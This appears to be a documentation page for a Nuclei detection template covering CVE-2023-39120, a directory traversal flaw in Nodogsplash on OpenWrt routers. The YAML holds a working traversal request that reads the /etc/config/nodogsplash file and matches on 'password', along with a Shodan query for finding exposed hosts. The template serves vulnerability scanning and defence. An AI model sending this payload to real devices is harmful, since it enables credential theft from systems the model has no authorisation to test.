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Nodogsplash - Directory Traversal

ID: CVE-2023-39120

Severity: high

Author: Numan Türle

Tags: cve2023,cve,lfi,openwrt,nodogsplash

Description

Section titled “Description”

Nodogsplash product was affected by a directory traversal vulnerability that also impacted the OpenWrt product. This vulnerability was addressed in Nodogsplash version 5.0.1. Exploiting this vulnerability, remote attackers could read arbitrary files from the target system.

YAML Source

Section titled “YAML Source”
id: CVE-2023-39120


info:
  name: Nodogsplash - Directory Traversal
  author: Numan Türle
  severity: high
  description: |
    Nodogsplash product was affected by a directory traversal vulnerability that also impacted the OpenWrt product. This vulnerability was addressed in Nodogsplash version 5.0.1. Exploiting this vulnerability, remote attackers could read arbitrary files from the target system.
  impact: |
    An attacker can exploit this vulnerability to view, modify, or delete sensitive files on the system, potentially leading to unauthorized access, data leakage, or system compromise.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-39120
    - https://github.com/nodogsplash/nodogsplash/commit/a745a5d635925d2a6f0e0530bdc0eac645b672ed
    - https://gist.github.com/numanturle/55cb758bacc4930a081e79c2a6a769b6
    - https://github.com/openwrt/routing/pull/997
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-39120
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"OpenWRT"
  tags: cve2023,cve,lfi,openwrt,nodogsplash


http:
  - method: GET
    path:
      - "{{BaseURL}}/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/config/nodogsplash"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "nodogsplash"
          - "password"
        condition: and


      - type: word
        part: header
        words:
          - "application/octet-stream"


      - type: status
        status:
          - 200
# digest: 4a0a004730450221008eee1e89d3b9b7c19c9f6781240f1b0af3f99dfee2dd894ee753eb569ba5a5ce022063229c9c9955c5ac4a190362bc64f569ac27e6f9059300b5bd9d5211cb8fad78:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-39120.yaml"

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